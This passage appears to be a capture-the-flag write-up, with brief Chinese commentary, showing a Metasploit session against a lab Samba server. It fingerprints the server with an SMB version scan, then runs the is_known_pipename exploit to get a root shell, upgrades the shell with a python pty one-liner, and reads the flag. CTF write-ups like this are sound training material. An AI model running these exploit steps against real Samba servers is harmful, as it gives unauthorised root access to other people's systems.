Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com /docs/using-metasploit/basics/using-metasploit.html THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 172.2.237.6 rhosts => 172.2.237.6 msf6 auxiliary(scanner/smb/smb_version) > run
[*] 172.2.237.6:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{0000616f-0000-0000-0000-000000000000}) (authentication domain:OA) [*] 172.2.237.6:445 - Host could not be identified: Windows 6.1 (Samba 4.6.3) [*] 172.2.237.6: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
msf6 exploit(linux/samba/is_known_pipename) > use exploit/linux/samba/is_known_pipename [*] Using configured payload cmd/unix/interact msf6 exploit(linux/samba/is_known_pipename) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metaspl oit.com/docs/using-metasploit/basics/using-m etasploit.html RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SM B share SMB_SHARE_NAME no The name of the SMB share containing a write able directory
Payload options (cmd/unix/interact):
Name Current Setting Required Description ---- --------------- -------- -----------
Exploit target:
Id Name -- ---- 0 Automatic (Interact)
View the full module info with the info, or info -d command.
msf6 exploit(linux/samba/is_known_pipename) > set rhosts 172.2.237.6 rhosts => 172.2.237.6 msf6 exploit(linux/samba/is_known_pipename) > run
[*] 172.2.237.6:445 - Using location \\172.2.237.6\myshare\ for the path [*] 172.2.237.6:445 - Retrieving the remote path of the share 'myshare' [*] 172.2.237.6:445 - Share 'myshare' has server-side path '/home/share [*] 172.2.237.6:445 - Uploaded payload to \\172.2.237.6\myshare\ZdrCXlDR.so [*] 172.2.237.6:445 - Loading the payload from server-side path /home/share/ZdrCXlDR.so using \\PIPE\/home/share/ZdrCXlDR.so... [-] 172.2.237.6:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] 172.2.237.6:445 - Loading the payload from server-side path /home/share/ZdrCXlDR.so using /home/share/ZdrCXlDR.so... [+] 172.2.237.6:445 - Probe response indicates the interactive payload was loaded... [*] Found shell. [*] Command shell session 1 opened (172.2.237.4:45913 -> 172.2.237.6:445) at 2025-06-15 20:40:50 +0800
ls whoami root
出来了,我以为打不通来着,那我们换成bash的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
python -c 'import pty; pty.spawn("/bin/bash")' root@oa:/tmp# cd / cd / root@oa:/# ls ls bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr root@oa:/# cd /toor cd /toor bash: cd: /toor: No such file or directory root@oa:/# cd /root cd /root root@oa:/root# ls ls flag.txt root@oa:/root# cat flag.txt cat flag.txt ctfshow{e7899cb3-53b6-4e01-b8c8-5b4cf7e88368} root@oa:/root#